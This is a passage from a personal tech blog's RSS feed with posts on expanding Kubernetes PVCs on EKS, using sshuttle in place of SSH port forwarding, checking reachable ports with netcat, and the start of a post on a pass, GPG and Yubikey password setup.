<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">NAME</span><span style="color: light-dark(#032F62, #96D0FF);">            PROVISIONER</span><span style="color: light-dark(#032F62, #96D0FF);">             AGE</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">gp2</span><span> (default</span><span>)   kubernetes.io/aws-ebs   8d</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> kubectl</span><span style="color: light-dark(#032F62, #96D0FF);"> describe</span><span style="color: light-dark(#032F62, #96D0FF);"> sc/gp2</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> output redacted to focus only on the field we&#39;re concerned with</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Name:</span><span style="color: light-dark(#032F62, #96D0FF);">            gp2</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">AllowVolumeExpansion:</span><span style="color: light-dark(#032F62, #96D0FF);">  True</span></span></code></pre>
<p>If <code>AllowVolumeExpansion</code> is set to <code>True</code> you can skip the below step. If it’s not true, you need edit the field <code>allowVolumeExpansion</code> as <code>true</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">a</span><span style="color: light-dark(#22863A, #8DDB8C);">piVersion</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> s</span><span style="color: light-dark(#032F62, #96D0FF);">torage.k8s.io/v1</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">k</span><span style="color: light-dark(#22863A, #8DDB8C);">ind</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> S</span><span style="color: light-dark(#032F62, #96D0FF);">torageClass</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">m</span><span style="color: light-dark(#22863A, #8DDB8C);">etadata</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  a</span><span style="color: light-dark(#22863A, #8DDB8C);">nnotations</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    s</span><span style="color: light-dark(#22863A, #8DDB8C);">torageclass.kubernetes.io/is-default-class</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">true</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> g</span><span style="color: light-dark(#032F62, #96D0FF);">p2</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">p</span><span style="color: light-dark(#22863A, #8DDB8C);">arameters</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  f</span><span style="color: light-dark(#22863A, #8DDB8C);">sType</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> e</span><span style="color: light-dark(#032F62, #96D0FF);">xt4</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> g</span><span style="color: light-dark(#032F62, #96D0FF);">p2</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">p</span><span style="color: light-dark(#22863A, #8DDB8C);">rovisioner</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> k</span><span style="color: light-dark(#032F62, #96D0FF);">ubernetes.io/aws-ebs</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">r</span><span style="color: light-dark(#22863A, #8DDB8C);">eclaimPolicy</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> D</span><span style="color: light-dark(#032F62, #96D0FF);">elete</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumeBindingMode</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> W</span><span style="color: light-dark(#032F62, #96D0FF);">aitForFirstConsumer</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">a</span><span style="color: light-dark(#22863A, #8DDB8C);">llowVolumeExpansion</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span></code></pre>
<p>Once the <code>StorageClass</code> config is correct, all we need to do is update with the new size.</p>
<p>So, for example if size of the PVC was <code>15GB</code> orginally:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">pec</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  r</span><span style="color: light-dark(#22863A, #8DDB8C);">esources</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">equests</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      s</span><span style="color: light-dark(#22863A, #8DDB8C);">torage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> 1</span><span style="color: light-dark(#032F62, #96D0FF);">5Gi</span></span></code></pre>
<p>To update it to <code>30GB</code>, you simply need to edit <code>spec.resources.requests</code> field:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">pec</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  r</span><span style="color: light-dark(#22863A, #8DDB8C);">esources</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">equests</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      s</span><span style="color: light-dark(#22863A, #8DDB8C);">torage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> 3</span><span style="color: light-dark(#032F62, #96D0FF);">0Gi</span></span></code></pre>
<p>We now need to “apply” the updated PVC manifest.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> kubectl</span><span style="color: light-dark(#032F62, #96D0FF);"> apply</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);"> pvc.yml</span></span></code></pre>
<p>Let’s take a look at the PVC:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> kubectl</span><span style="color: light-dark(#032F62, #96D0FF);"> describe</span><span style="color: light-dark(#032F62, #96D0FF);"> pvc/myclaim</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> output redacted for brevity</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Conditions:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  Type</span><span style="color: light-dark(#032F62, #96D0FF);">                      Status</span><span style="color: light-dark(#032F62, #96D0FF);">  LastProbeTime</span><span style="color: light-dark(#032F62, #96D0FF);">                     LastTransitionTime</span><span style="color: light-dark(#032F62, #96D0FF);">                Reason</span><span style="color: light-dark(#032F62, #96D0FF);">  Message</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  ----</span><span style="color: light-dark(#005CC5, #6CB6FF);">                      -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-----</span><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">----------------</span><span style="color: light-dark(#005CC5, #6CB6FF);">                 -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-----------------</span><span style="color: light-dark(#005CC5, #6CB6FF);">                -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-----</span><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">------</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  FileSystemResizePending</span><span style="color: light-dark(#032F62, #96D0FF);">   True</span><span style="color: light-dark(#032F62, #96D0FF);">    Mon,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 01</span><span style="color: light-dark(#032F62, #96D0FF);"> Jan</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0001</span><span style="color: light-dark(#032F62, #96D0FF);"> 00:00:00</span><span style="color: light-dark(#032F62, #96D0FF);"> +0000</span><span style="color: light-dark(#032F62, #96D0FF);">   Tue,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 14</span><span style="color: light-dark(#032F62, #96D0FF);"> Jan</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2020</span><span style="color: light-dark(#032F62, #96D0FF);"> 20:52:21</span><span style="color: light-dark(#032F62, #96D0FF);"> +0530</span><span style="color: light-dark(#032F62, #96D0FF);">           Waiting</span><span style="color: light-dark(#032F62, #96D0FF);"> for</span><span style="color: light-dark(#032F62, #96D0FF);"> user</span><span style="color: light-dark(#032F62, #96D0FF);"> to</span><span> (re-</span><span>)start a pod to finish file system resize of volume on node.</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span></code></pre>
<p>So, basically what <code>FileSystemResizePending</code> means is that while PVC is <em>in use</em>, we have to either restart or delete the underlying Pod using the PVC. At the time of writing this, <code>ExpandInUsePersistentVolumes</code> is still in <a rel="external" href="https://kubernetes.io/docs/concepts/storage/persistent-volumes/#resizing-an-in-use-persistentvolumeclaim">beta</a> and has to be enabled as a feature gate. Sadly, EKS is still on <code>1.14</code> (while the world has moved to 1.17, such <em>sloooow</em> release cycles!), so I couldn’t enable this in my case.</p>
<p>Once the pod is restarted, the expanded disk is automagically available! Let’s verify this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>kc get pvc/myclaim -o=jsonpath=&quot;{.status.capacity.storage}&quot;</span></span>
<span class="giallo-l"><span>30Gi</span></span></code></pre>
<p>Now, compare this with the standard way of resizing an EBS volume in EC2 instance. You need to first <a rel="external" href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/requesting-ebs-volume-modifications.html#modify-ebs-volume-cli">modify</a> the volume size using AWS EBS API and then in the EC2 instance, use a combination of <code>growpart</code> and <code>resize2fs</code> to <a rel="external" href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/recognize-expanded-volume-linux.html">extend</a> the resized volume. This sounds much more cumbersome than simply updating the storage field in PVC manifest!</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[sshuttle - A better ssh tunnel]]></title>
            <link>https://mrkaran.dev/posts/using-sshuttle/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/using-sshuttle/</guid>
            <pubDate>Sun, 12 Jan 2020 04:27:55 GMT</pubDate>
            <description><![CDATA[The Motivation#
Sometime back I had to access a Kubernetes API server which was firewalled to a private VPC network. I didn’t want to setup a separate bastion instance just to access this cluster, cause TBH bastions are kinda redundant in K8s as every task can be performed through the client-server APIs using kubectl. So, all I needed was access to this API server from a trusted network in a secure way. Thanks to my friend @sarat, I got to know about sshuttle. sshuttle is quite unique in the sense that it’s not really a VPN but acts like one (for most practical purposes). sshuttle lets you access an internal network through a trusted node inside the VPC, without you having to deal with the mess of port forwarding or VPNs.
The basic idea is pretty simple, sshuttle starts a local python server in your host machine and creates iptables rules to route the destination packets of the specified CIDR blocks to this local server. At the server, the packets are multiplexed over an ssh session and sent to the server. The server disassembles the multiplexed packet and the routes them to upstream. So, basically this is a clever hack to avoid TCP over TCP (which again is a mess on unreliable networks). Multiplexed streams on ssh is just a single stateful TCP connection (as compared to VPN connections which are stateless). Now you must be wondering, how come the target server disassembles the packets. Yes, there needs to be some kind of sshuttle daemon running which does that for you. This is where sshuttle does some magic, it automagically deploys a python script on your target host to perform this task. So yes, for sshuttle to work, both the client and target need to have python  and iptables installed.
Usage#
sshuttle -r user@port x.x.x.x
All the packets routed to the CIDR block will now go through sshuttle daemon, since it configured iptables rules for them.
Also, sshuttle starts a local python server on your host machine. You can see it using netstat:
$ sudo netstat -tunapl | grep python
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:12300         0.0.0.0:*               LISTEN      27425/python
There’s a python server listening on port 12300 in my host machine. To actually verify, this indeed is started by sshuttle, you can use pstree -p | less and search for sshuttle. Here you can see sshuttle did indeed start a python server and the PID (27425) matches with the one we saw in netstat command.
    -zsh(13201)---sshuttle(27425)-+-ssh(27446)---ssh(27447)
                                    `-sudo(27427)---python(27445)
You can even forward DNS queries with the --dns flag. This is super helpful if you have something like Route53 to host your DNS records on a private zone (for eg tld like .internal).
Better than SSH tunnels?#
Yes, you can also port forward with ssh using:
ssh -nNT -L <local-port>:{upstream-host}:{upstream-port} user@remote
The problem with ssh tunnels is that they experience frequent packet loss on a normal WiFi connection and it’s quite frustrating to deal with them. Moreover, sometimes you need access to multiple ports in your private network which requires you to explictly provide them with -L flag which I find it as cumbersome. Also, you cannot forward DNS queries (over UDP) since ssh can only do TCP.
sshuttle has made my life so simple!
Fin!]]></description>
            <content:encoded><![CDATA[<h2 id="the-motivation">The Motivation<a class="zola-anchor" href="#the-motivation" aria-label="Anchor link for: the-motivation">#</a></h2>
<p>Sometime back I had to access a Kubernetes API server which was firewalled to a private VPC network. I didn’t want to setup a separate bastion instance just to access this cluster, cause TBH bastions are kinda redundant in K8s as every task can be performed through the client-server APIs using <code>kubectl</code>. So, all I needed was access to this API server from a trusted network in a secure way. Thanks to my friend <a rel="external" href="https://twitter.com/iamd3vil">@sarat</a>, I got to know about <a rel="external" href="https://sshuttle.readthedocs.io/en/stable/">sshuttle</a>. <code>sshuttle</code> is quite unique in the sense that it’s not really a VPN but acts like one (for most practical purposes). <code>sshuttle</code> lets you access an internal network through a trusted node inside the VPC, without you having to deal with the mess of port forwarding or VPNs.</p>
<p>The basic idea is pretty simple, <code>sshuttle</code> starts a local <code>python</code> server in your host machine and creates <code>iptables</code> rules to route the destination packets of the specified CIDR blocks to this local server. At the server, the packets are multiplexed over an <code>ssh</code> session and sent to the server. The server disassembles the multiplexed packet and the routes them to upstream. So, basically this is a clever hack to avoid TCP over TCP (which again is a mess on unreliable networks). Multiplexed streams on <code>ssh</code> is just a single stateful TCP connection (as compared to VPN connections which are stateless). Now you must be wondering, how come the target server disassembles the packets. Yes, there needs to be some kind of <code>sshuttle</code> daemon running which does that for you. This is where <code>sshuttle</code> does some magic, it <em>automagically</em> deploys a python script on your target host to perform this task. So yes, for <code>sshuttle</code> to work, both the client and target need to have <code>python </code> and <code>iptables</code> installed.</p>
<h3 id="usage">Usage<a class="zola-anchor" href="#usage" aria-label="Anchor link for: usage">#</a></h3>
<p><code>sshuttle -r user@port x.x.x.x</code></p>
<p>All the packets routed to the CIDR block will now go through <code>sshuttle</code> daemon, since it configured <code>iptables</code> rules for them.
Also, <code>sshuttle</code> starts a local python server on your host machine. You can see it using <code>netstat</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> netstat</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">tunapl</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> python</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Proto</span><span style="color: light-dark(#032F62, #96D0FF);"> Recv-Q</span><span style="color: light-dark(#032F62, #96D0FF);"> Send-Q</span><span style="color: light-dark(#032F62, #96D0FF);"> Local</span><span style="color: light-dark(#032F62, #96D0FF);"> Address</span><span style="color: light-dark(#032F62, #96D0FF);">           Foreign</span><span style="color: light-dark(#032F62, #96D0FF);"> Address</span><span style="color: light-dark(#032F62, #96D0FF);">         State</span><span style="color: light-dark(#032F62, #96D0FF);">       PID/Program</span><span style="color: light-dark(#032F62, #96D0FF);"> name</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">tcp</span><span style="color: light-dark(#005CC5, #6CB6FF);">        0</span><span style="color: light-dark(#005CC5, #6CB6FF);">      0</span><span style="color: light-dark(#032F62, #96D0FF);"> 127.0.0.1:12300</span><span style="color: light-dark(#032F62, #96D0FF);">         0.0.0.0:</span><span style="color: light-dark(#005CC5, #6CB6FF);">*</span><span style="color: light-dark(#032F62, #96D0FF);">               LISTEN</span><span style="color: light-dark(#032F62, #96D0FF);">      27425/python</span></span></code></pre>
<p>There’s a <code>python</code> server listening on port <code>12300</code> in my host machine. To actually verify, this indeed is started by <code>sshuttle</code>, you can use <code>pstree -p | less</code> and search for <code>sshuttle</code>. Here you can see <code>sshuttle</code> did indeed start a <code>python</code> server and the PID (<code>27425</code>) matches with the one we saw in <code>netstat</code> command.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -zsh(13201</span><span>)---sshuttle(</span><span style="color: light-dark(#6F42C1, #F69D50);">27425</span><span>)-+-ssh(</span><span style="color: light-dark(#6F42C1, #F69D50);">27446</span><span>)---ssh(</span><span style="color: light-dark(#6F42C1, #F69D50);">27447</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                                    `</span><span style="color: light-dark(#6F42C1, #F69D50);">-sudo(27427</span><span style="color: light-dark(#032F62, #96D0FF);">)---python(</span><span style="color: light-dark(#6F42C1, #F69D50);">27445</span><span style="color: light-dark(#032F62, #96D0FF);">)</span></span></code></pre>
<p>You can even forward DNS queries with the <code>--dns</code> flag. This is super helpful if you have something like Route53 to host your DNS records on a private zone (for eg tld like <code>.internal</code>).</p>
<h3 id="better-than-ssh-tunnels">Better than SSH tunnels?<a class="zola-anchor" href="#better-than-ssh-tunnels" aria-label="Anchor link for: better-than-ssh-tunnels">#</a></h3>
<p>Yes, you can also port forward with ssh using:
<code>ssh -nNT -L &lt;local-port&gt;:{upstream-host}:{upstream-port} user@remote</code></p>
<p>The problem with <code>ssh</code> tunnels is that they experience frequent packet loss on a normal WiFi connection and it’s quite frustrating to deal with them. Moreover, sometimes you need access to multiple ports in your private network which requires you to explictly provide them with <code>-L</code> flag which I find it as cumbersome. Also, you cannot forward DNS queries (over UDP) since <code>ssh</code> can only do TCP.</p>
<p><code>sshuttle</code> has made my life so simple!</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Use netcat for port scanning]]></title>
            <link>https://mrkaran.dev/posts/netcat-port/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/netcat-port/</guid>
            <pubDate>Sat, 11 Jan 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[Quite often you’d need to check if a port on a target node is opened or blocked by firewall. I’ve always used telnet to test that but it has a few drawbacks:
Need to use dirty hacks in shell scripts to auto close the connection. Also, telnet outputs some errors to /dev/stdout instead of the standard /dev/stderr which makes it harder to use in scripts.
Non standard implementation across different OSes. On Alpine Linux (mostly used in containers), if you install telnet using the /busybox-extras package, the behaviour is different from what it is on standard Ubuntu/Arch environments. I’ve even faced weird issues on Alpine where telnet will simply wait endlessley for the connection to be established, while netcat would not indicate any issues.
Telnet is actually a protocol and the telnet-client initiates the negotiation with the server before a connection is established.
So, after all these issues, I looked at other tools to eventually replace telnet with something better. I tried nmap which is also a port scanner, but is unreliable since a lot of hipster sysadmins drinking the security koolaid block port scanning tools like these. I wanted a dependable tooling and after a bit of Google-fu, I stumbled across netcat.
netcat is basically a swiss army knife to perform all kind of ops with TCP/UDP. You can create a file server, chat client/server, TCP client etc. We are simply interested in the port scanning abilities of this for this blog post, so let’s actually see how to use it for the same.
Note: Install netcat-openbsd as it is a rewritten version of netcat-traditional with some more bells and whistles.
The basic syntax for port scanning looks like:
nc -z host port
-z tells nc to not send any data, just scan for any process listening on the target port. This is much better (and faster) than telnet client initiating a connection with the upstream.
To make it more usable however, let’s pepper our command with some helpful flags:
nc -vz -w 3 host port
-v turns on verbose mode which outputs diagnostic messages. -w adds the timeout for the connection to be established. If you want to set a timeout in telnet there’s a hack for it.
You can even supply a range of ports to netcat like:
nc -vz -w 3 host 8000-9000
Quick Tip: You can also give an alias for port instead of the number. For example:
$nc -vz -w 3 google.com https
Connection to google.com 443 port [tcp/https] succeeded!

$nc -vz -w 3 google.com ssh
nc: connect to google.com port 22 (tcp) timed out: Operation now in progress
nc: connect to google.com port 22 (tcp) failed: Network is unreachable
Hope this post pretty much sums up the usage of netcat for port scanning! Read the man page for more info.
Fin!]]></description>
            <content:encoded><![CDATA[<p>Quite often you’d need to check if a port on a target node is opened or blocked by firewall. I’ve always used <code>telnet</code> to test that but it has a few drawbacks:</p>
<ul>
<li>
<p>Need to use dirty <a rel="external" href="https://stackoverflow.com/questions/41476089/auto-exit-telnet-command-back-to-prompt-without-human-intervention-quit-close">hacks</a> in shell scripts to auto close the connection. Also, telnet outputs some errors to <code>/dev/stdout</code> instead of the standard <code>/dev/stderr</code> which makes it harder to use in scripts.</p>
</li>
<li>
<p>Non standard implementation across different OSes. On Alpine Linux (mostly used in containers), if you install telnet using the <code>/busybox-extras</code> package, the behaviour is different from what it is on standard Ubuntu/Arch environments. I’ve even faced weird issues on Alpine where telnet will simply wait endlessley for the connection to be established, while netcat would not indicate any issues.</p>
</li>
<li>
<p>Telnet is actually a protocol and the telnet-client initiates the <a rel="external" href="http://mud-dev.wikidot.com/telnet:negotiation">negotiation</a> with the server before a connection is established.</p>
</li>
</ul>
<p>So, after all these issues, I looked at other tools to eventually replace <code>telnet</code> with something better. I tried <code>nmap</code> which is also a port scanner, but is unreliable since a lot of hipster sysadmins drinking the security koolaid block port scanning tools like these. I wanted a dependable tooling and after a bit of Google-fu, I stumbled across <code>netcat</code>.</p>
<p><code>netcat</code> is basically a swiss army knife to perform all kind of ops with TCP/UDP. You can create a file server, chat client/server, TCP client etc. We are simply interested in the port scanning abilities of this for this blog post, so let’s actually see how to use it for the same.</p>
<p><strong>Note</strong>: Install <code>netcat-openbsd</code> as it is a rewritten version of <code>netcat-traditional</code> with some more bells and whistles.</p>
<p>The basic syntax for port scanning looks like:</p>
<p><code>nc -z host port</code></p>
<p><code>-z</code> tells nc to not send any data, just <em>scan</em> for any process listening on the target port. This is much better (and faster) than <code>telnet</code> client initiating a connection with the upstream.</p>
<p>To make it more usable however, let’s pepper our command with some helpful flags:</p>
<p><code>nc -vz -w 3 host port</code></p>
<p><code>-v</code> turns on verbose mode which outputs diagnostic messages. <code>-w</code> adds the timeout for the connection to be established. If you want to set a timeout in <code>telnet</code> there’s a <a rel="external" href="https://unix.stackexchange.com/questions/224623/telnet-command-with-custom-timeout-duration">hack</a> for it.</p>
<p>You can even supply a range of ports to netcat like:</p>
<p><code>nc -vz -w 3 host 8000-9000</code></p>
<p><em>Quick Tip</em>: You can also give an alias for port instead of the number. For example:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>$</span><span>nc</span><span> -vz -w 3 google.com https</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Connection</span><span style="color: light-dark(#032F62, #96D0FF);"> to</span><span style="color: light-dark(#032F62, #96D0FF);"> google.com</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 443</span><span style="color: light-dark(#032F62, #96D0FF);"> port</span><span> [tcp/https</span><span>] succeeded</span><span style="color: light-dark(#D73A49, #F47067);">!</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>$</span><span>nc</span><span> -vz -w 3 google.com ssh</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nc:</span><span style="color: light-dark(#032F62, #96D0FF);"> connect</span><span style="color: light-dark(#032F62, #96D0FF);"> to</span><span style="color: light-dark(#032F62, #96D0FF);"> google.com</span><span style="color: light-dark(#032F62, #96D0FF);"> port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 22</span><span> (tcp</span><span>) timed out: Operation now in progress</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nc:</span><span style="color: light-dark(#032F62, #96D0FF);"> connect</span><span style="color: light-dark(#032F62, #96D0FF);"> to</span><span style="color: light-dark(#032F62, #96D0FF);"> google.com</span><span style="color: light-dark(#032F62, #96D0FF);"> port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 22</span><span> (tcp</span><span>) failed: Network is unreachable</span></span></code></pre>
<p>Hope this post pretty much sums up the usage of netcat for port scanning! Read the <a rel="external" href="https://linux.die.net/man/1/nc">man page</a> for more info.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[My Setup: Passwords, 2FA, and Yubikeys]]></title>
            <link>https://captnemo.in/blog/2020/01/04/security-setup/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2020/01/04/security-setup/</guid>
            <pubDate>Sat, 04 Jan 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[I upgraded my encryption setup recently, so I thought I should write about it,
just in case it is helpful to someone else. As a security professional, I have a
different threat model from most folks, and as such my setup does involve a bit
more complexity than what I’d recommend to everyone. But if you are an at-risk
individual (journalist, person holding hundreds of bitcoins or other digital
assets, activist) or if you are a linux user with a lot of free time - you might
consider duplicating some of this.

I’ll discuss some of the other approaches I’ve considered, and my thought
process around each choice I made. There are general recommendations at the
bottom of the post.
Passwords
I used to be on LastPass till 20171, when I migrated to [pass][pass] (“the
standard unix password manager”). With pass, each password lives inside of a gpg
encrypted file whose filename is the title of the website or resource that
requires the password.
pass automatically manages a git repository for you, which I sync against
GitLab. The one downside of using pass is that the list of my domains is
visible to my hosting provider. 2 In the past, I’ve set this up against
Keybase Encrypted Git (Keybase doesn’t get to see even the file list), and my
own git-server (only I get to see it).
I don’t push it to GitHub, since most of my stuff lives on GitHub anyway, and I
didn’t want to add my passwords there as well. GitLab uptime is decent enough
for my usecase3. Finally, my GitLab account is fairly locked down with:
zero integrations or third-party apps
no active personal tokens
social signin disabled
only yubikey SSH key configured
Mobile Passwords
There are 2 primary considerations I have:
Using pass involves GPG keys, and I can’t use hardware GPG keys on my
current device (iPhone SE).
I don’t want to sync all my passwords to my phone. I have a limited number of
applications on my device, and syncing all passwords doesn’t make sense.
For the first issue, I am forced to use a PGP key in software on
[passforios][passforios]. If you are on Android, take a look at
[OpenKeychain][okc], and Fidesmo/Yubikey NFC.
For the second issue, I use pass cp, and the .gpg-id file, which allows me
to maintain a mobile-sync directory inside my pass git repository encrypted
against a different key. From the pass documentation:
~/.password-store/.gpg-id
Contains the default gpg key identification used for encryption and
decryption. Multiple gpg keys may be specified in this file, one per line. If
this file exists in any sub directories, passwords inside those sub
directories are encrypted using those keys. This should be set using the init
command.
My ~/.password-store/mobile-sync/.gpg-id file holds 2 keys: My main encryption
key, and the key I’ve configured on my phone.
Unfortunately, I haven’t gotten it working well as a git submodule, so I have a
helper script that copies the encrypted password files from mobile-sync
subdirectory to a different repository (mobile-passwords.git). The script is
just 2 lines:

cp -r ~/.password-store/mobile-sync/*.gpg .
git-sync


It updates the git repository, and runs a sync to push any local changes to my
mobile-passwords repository. I can pull that on my passforios application. I
could also clone the entire repo, but the iOS app doesn’t work nicely with a
single-subdirectory approach.
GPG
pass relies on GPG, and as such I require a strong key setup. I have the
following:
2xYubikey 4 (Doesn’t have NFC)
Fidesmo Smartcard, currently unused
Both the Yubikeys are configured against my GPG Encryption key. I carry one of
the Yubikeys on my keyring with me. The backup Yubikey stays at my home.
I followed this guide
